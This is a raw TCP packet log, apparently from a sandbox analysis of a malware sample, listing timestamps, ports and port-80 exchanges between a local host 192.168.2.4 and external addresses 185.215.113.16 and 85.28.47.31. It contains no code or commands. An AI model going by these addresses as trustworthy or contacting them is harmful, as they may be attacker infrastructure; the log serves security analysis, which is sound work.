Jul 27, 2024 05:39:07.282509089 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.282525063 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.282553911 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.282579899 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.282598019 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.282641888 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.282689095 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.282708883 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.282740116 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.282758951 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.282785892 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.282808065 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.282840014 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.282857895 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.282885075 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.283601999 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.283658028 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.283672094 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.283701897 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.283730984 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.283766031 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.283787012 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.283829927 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.284528017 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.284559011 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.284589052 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.284607887 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.284631014 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.284665108 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.284684896 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.284712076 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.287771940 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.287841082 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.287894011 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.287925005 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.287954092 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.287970066 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.329994917 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:07.335655928 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:07.335777998 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:07.335908890 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:07.340707064 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:07.429608107 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.429639101 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.429656029 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.429673910 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.429711103 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.429744959 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.429775000 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.429802895 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.429843903 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.429857016 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.429887056 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.429914951 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.429935932 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.429980040 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.430025101 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.430044889 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.430077076 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.430097103 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.430121899 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.430145025 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.430177927 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.430196047 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.430222988 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.430362940 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.430394888 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.430414915 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.430434942 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.430464029 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.430515051 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.430542946 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.430572987 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.430593014 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.430614948 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.430641890 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.430692911 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.430795908 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.430828094 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.430847883 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.430871964 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.430896997 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.430927992 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.430947065 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.430969954 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.431067944 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.431113005 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.431134939 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.431168079 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.431188107 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.431216955 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.431236982 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.431268930 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.431283951 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.431337118 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.431459904 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.431489944 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.431520939 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.431545973 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.431562901 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.431593895 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.431615114 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.431636095 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.431760073 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.431821108 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.431833982 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.431874990 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.431900024 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.431930065 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.431962013 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.431982994 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.432003975 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.432035923 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.432056904 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.432090044 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.432109118 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.432159901 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.432394981 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.432425976 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.432456017 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.432498932 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.432517052 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.432548046 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.432576895 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.432600975 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.432688951 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.432718992 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.432746887 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.432771921 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.432789087 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.432840109 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.435138941 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.435169935 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.435201883 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.435220003 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.435240030 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.435276031 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.435288906 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.435328007 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.435340881 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.435384035 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.577425957 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.577511072 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.577531099 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.577562094 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.577614069 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.577666044 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.577698946 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.577748060 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.577780962 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.577811956 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.577842951 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.577873945 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.577905893 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.577955961 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.577976942 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.577999115 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.578021049 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.578047037 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.578097105 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.578115940 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.578152895 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.578172922 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.578197002 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.578237057 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.578280926 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.578294992 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.578320980 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.578341007 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.578388929 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.578422070 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.578458071 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.578476906 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.578504086 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.578542948 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.578574896 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.578593969 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.578619957 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.578643084 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.578676939 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.578701019 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.578728914 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.578748941 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.578780890 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.578799963 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.578825951 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.578847885 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.578879118 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.578901052 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.578938007 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.578950882 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.578983068 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.579003096 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.579032898 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.579054117 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.579092979 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.579106092 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.579138994 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.579155922 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.579196930 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.579210043 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.579237938 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.579256058 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.579289913 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.579309940 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.579339981 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.579360008 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.579391003 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.579410076 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.579440117 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.579480886 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.579499006 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.579499006 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.579531908 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.579561949 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.579591990 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.579612017 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.579638004 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.579662085 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.579694986 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.579715014 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.579740047 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.579763889 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.579794884 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.579813957 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.579840899 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.579864979 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.579895020 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.579915047 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.579945087 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.579967022 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.579998970 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.580013990 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.580045938 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.580065012 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.580089092 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.580112934 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.580146074 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.580164909 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.580193996 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.580215931 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.580281973 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.585140944 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.585155964 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.585187912 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.585196018 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.585211039 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.585217953 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.585226059 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.585238934 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.585247993 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.585272074 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.585278988 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.585290909 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.585305929 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.585314035 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.585323095 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.585345984 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.585355997 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.585367918 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.585381985 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.585391998 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.585403919 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.585414886 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.585426092 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.585438013 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.585447073 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.585460901 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.585473061 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.585500956 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.585510969 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.585541964 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.585552931 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.585565090 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.585588932 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.585603952 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.585633039 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.585649014 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.585661888 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.585671902 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.585691929 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.585701942 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.585722923 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.585736990 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.585758924 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.585768938 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.585782051 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.585791111 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.585804939 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.585813999 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.585823059 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.585835934 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.585858107 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.585874081 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.585920095 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.585942984 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.585957050 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.585968971 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.586004019 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.586030960 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.586054087 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.586069107 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.586083889 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.586093903 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.586112022 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.586119890 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.586131096 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.586148024 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.667656898 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.667727947 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.667761087 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.667794943 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.667829990 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.667861938 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.667884111 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.667907953 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.667937040 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.667968988 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.667989969 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.668010950 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.668040037 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.668071032 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.668090105 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.668128014 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.668143034 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.668171883 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.668191910 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.668225050 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.668243885 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.668268919 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.668293953 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.668328047 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.668348074 CEST	49476	80	192.168.2.4	185.215.113.16
